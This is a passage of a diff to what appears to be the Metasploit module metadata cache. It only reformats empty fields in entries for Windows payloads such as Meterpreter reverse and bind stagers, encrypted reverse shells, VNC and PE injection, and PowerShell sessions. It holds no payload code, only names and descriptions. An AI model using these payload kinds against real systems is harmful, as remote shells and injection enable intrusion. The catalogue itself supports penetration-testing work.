"payload/windows/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260236,8 +231468,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260248,9 +231479,7 @@ "payload_windows/vncinject/reverse_tcp_rc4_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/vncinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260279,8 +231508,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260291,9 +231519,7 @@ "payload_windows/vncinject/reverse_tcp_uuid": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support", "fullname": "payload/windows/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260320,8 +231546,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260332,9 +231557,7 @@ "payload_windows/vncinject/reverse_winhttp": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260361,8 +231584,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260373,9 +231595,7 @@ "payload_windows/x64/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260384,9 +231604,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260400,8 +231618,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260412,9 +231629,7 @@ "payload_windows/x64/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260424,9 +231639,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260440,8 +231653,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260452,9 +231664,7 @@ "payload_windows/x64/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260463,9 +231673,7 @@ "UserExistsError" ], "description": "Custom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260479,8 +231687,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260491,9 +231698,7 @@ "payload_windows/x64/custom/bind_tcp": { "name": "Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260502,9 +231707,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260518,8 +231721,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260530,9 +231732,7 @@ "payload_windows/x64/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260546,9 +231746,7 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260562,8 +231760,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260574,9 +231771,7 @@ "payload_windows/x64/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260586,9 +231781,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260602,8 +231795,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260614,9 +231806,7 @@ "payload_windows/x64/custom/reverse_http": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260625,9 +231815,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260641,8 +231829,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260653,9 +231840,7 @@ "payload_windows/x64/custom/reverse_https": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260666,9 +231851,7 @@ "rwincey" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260682,8 +231865,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260694,9 +231876,7 @@ "payload_windows/x64/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260705,9 +231885,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260721,8 +231899,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260733,9 +231910,7 @@ "payload_windows/x64/custom/reverse_tcp": { "name": "Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260744,9 +231919,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260760,8 +231933,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260772,9 +231944,7 @@ "payload_windows/x64/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260788,9 +231958,7 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260804,8 +231972,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260816,9 +231983,7 @@ "payload_windows/x64/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260828,9 +231993,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260844,8 +232007,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260856,9 +232018,7 @@ "payload_windows/x64/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260867,9 +232027,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260883,8 +232041,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260895,9 +232052,7 @@ "payload_windows/x64/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260906,9 +232061,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260922,8 +232075,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260934,9 +232086,7 @@ "payload_windows/x64/encrypted_shell/reverse_tcp": { "name": "Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/windows/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260945,9 +232095,7 @@ "Shelby Pace" ], "description": "Spawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -260961,8 +232109,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260973,9 +232120,7 @@ "payload_windows/x64/encrypted_shell_reverse_tcp": { "name": "Windows Encrypted Reverse Shell", "fullname": "payload/windows/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260984,9 +232129,7 @@ "Shelby Pace" ], "description": "Connect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -261000,8 +232143,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261010,9 +232152,7 @@ "payload_windows/x64/exec": { "name": "Windows x64 Execute Command", "fullname": "payload/windows/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261020,9 +232160,7 @@ "sf " ], "description": "Execute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -261036,8 +232174,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261046,9 +232183,7 @@ "payload_windows/x64/loadlibrary": { "name": "Windows x64 LoadLibrary Path", "fullname": "payload/windows/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261057,9 +232192,7 @@ "sf " ], "description": "Load an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -261073,8 +232206,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261083,9 +232215,7 @@ "payload_windows/x64/messagebox": { "name": "Windows MessageBox x64", "fullname": "payload/windows/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261093,9 +232223,7 @@ "pasta " ], "description": "Spawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -261109,8 +232237,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261119,9 +232246,7 @@ "payload_windows/x64/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261148,8 +232273,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261160,9 +232284,7 @@ "payload_windows/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261189,8 +232311,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261201,9 +232322,7 @@ "payload_windows/x64/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261231,8 +232350,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261243,9 +232361,7 @@ "payload_windows/x64/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261272,8 +232388,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261284,9 +232399,7 @@ "payload_windows/x64/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261317,8 +232430,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261329,9 +232441,7 @@ "payload_windows/x64/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261358,8 +232468,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261370,9 +232479,7 @@ "payload_windows/x64/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261399,8 +232506,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261411,9 +232517,7 @@ "payload_windows/x64/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261443,8 +232547,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261455,9 +232558,7 @@ "payload_windows/x64/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261484,8 +232585,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261496,9 +232596,7 @@ "payload_windows/x64/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261525,8 +232623,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261537,9 +232634,7 @@ "payload_windows/x64/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261570,8 +232665,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261582,9 +232676,7 @@ "payload_windows/x64/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261611,8 +232703,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261623,9 +232714,7 @@ "payload_windows/x64/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261652,8 +232741,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261664,9 +232752,7 @@ "payload_windows/x64/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261693,8 +232779,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261705,9 +232790,7 @@ "payload_windows/x64/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/windows/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261734,8 +232817,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261744,9 +232826,7 @@ "payload_windows/x64/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/windows/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261772,8 +232852,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261782,9 +232861,7 @@ "payload_windows/x64/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/windows/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261810,8 +232887,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261820,9 +232896,7 @@ "payload_windows/x64/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/windows/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261848,8 +232922,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261858,9 +232931,7 @@ "payload_windows/x64/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/windows/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261886,8 +232957,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261896,9 +232966,7 @@ "payload_windows/x64/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/windows/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261924,8 +232992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261934,9 +233001,7 @@ "payload_windows/x64/peinject/bind_ipv6_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261961,8 +233026,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261973,9 +233037,7 @@ "payload_windows/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262001,8 +233063,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262013,9 +233074,7 @@ "payload_windows/x64/peinject/bind_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262040,8 +233099,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262052,9 +233110,7 @@ "payload_windows/x64/peinject/bind_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262079,8 +233135,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262091,9 +233146,7 @@ "payload_windows/x64/peinject/bind_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262123,8 +233176,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262135,9 +233187,7 @@ "payload_windows/x64/peinject/bind_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262163,8 +233213,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262175,9 +233224,7 @@ "payload_windows/x64/peinject/reverse_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262202,8 +233249,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262214,9 +233260,7 @@ "payload_windows/x64/peinject/reverse_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262241,8 +233285,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262253,9 +233296,7 @@ "payload_windows/x64/peinject/reverse_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262285,8 +233326,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262297,9 +233337,7 @@ "payload_windows/x64/peinject/reverse_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262325,8 +233363,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262337,9 +233374,7 @@ "payload_windows/x64/pingback_reverse_tcp": { "name": "Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/windows/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262347,9 +233382,7 @@ "bwatters-r7" ], "description": "Connect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262363,8 +233396,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262373,9 +233405,7 @@ "payload_windows/x64/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", "fullname": "payload/windows/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262401,8 +233431,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262411,9 +233440,7 @@ "payload_windows/x64/powershell_reverse_tcp": { "name": 